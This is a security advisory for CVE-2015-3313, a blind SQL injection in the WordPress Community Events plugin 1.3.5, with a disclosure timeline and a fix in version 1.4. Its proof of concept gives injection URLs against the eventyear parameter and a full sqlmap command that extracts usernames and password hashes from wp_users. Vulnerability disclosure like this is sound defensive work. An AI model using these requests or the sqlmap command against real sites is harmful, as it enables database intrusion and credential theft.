WordPress Plugin Community Events 1.3.5 – SQL Injection
======================================================================= title: SQL Injection product: WordPress Community Events Plugin vulnerable version: 1.3.5 (and probably below) fixed version: 1.4 CVE number: CVE-2015-3313 impact: CVSS Base Score 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) homepage: https://wordpress.org/plugins/community-events/ found: 2015-01-07 by: Hannes Trunde mail: hannes.trunde@gmail.com twitter: @hannestrunde ======================================================================= Plugin description: ------------------- "The purpose of this plugin is to allow users to create a schedule of upcoming events and display events for the next 7 days in an AJAX-driven box or displaying a full list of upcoming events." Source: https://wordpress.org/plugins/community-events/ Recommendation: --------------- The author has provided a fixed plugin version which should be installed immediately. Vulnerability overview/description: ----------------------------------- Because of insufficient input validation, a blind SQL injection attack can be performed within the search function to obtain sensitive information from the database. To exploit this vulnerability, there has to be at least one planned event on the calendar. Proof of concept: ----------------- The following HTTP request to the Community Events full schedule returns the event(s) planned in the specified year: =============================================================================== http://www.site.com/?page_id=2&eventyear=2015 AND 1=1 )--&dateset=on&eventday=1 =============================================================================== The following HTTP request returns a blank page, thus confirming the blind SQL injection vulnerability: =============================================================================== http://www.site.com/?page_id=2&eventyear=2015 AND 1=0 )--&dateset=on&eventday=1 =============================================================================== Obtaining users and password hashes with sqlmap may look as follows (--string parameter has to contain (part of) the name of the event, enabling sqlmap to differentiate between true and false statements): ================================================================================ sqlmap -u "http://www.site.com/?page_id=2&eventyear=2015&dateset=on&eventday=1" -p "eventyear" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users" ================================================================================ Contact timeline: ----------------- 2015-04-08: Contacting author via mail. 2015-04-09: Author replies and announces a fix within a week. 2015-04-12: Mail from author, stating that plugin has been updated. 2015-04-14: Posting information to the open source software security mailing list: http://openwall.com/lists/oss-security/2015/04/14/5 2015-04-18: Release of security advisory. Solution: --------- Update to the most recent plugin version. Workaround: ----------- See solution. |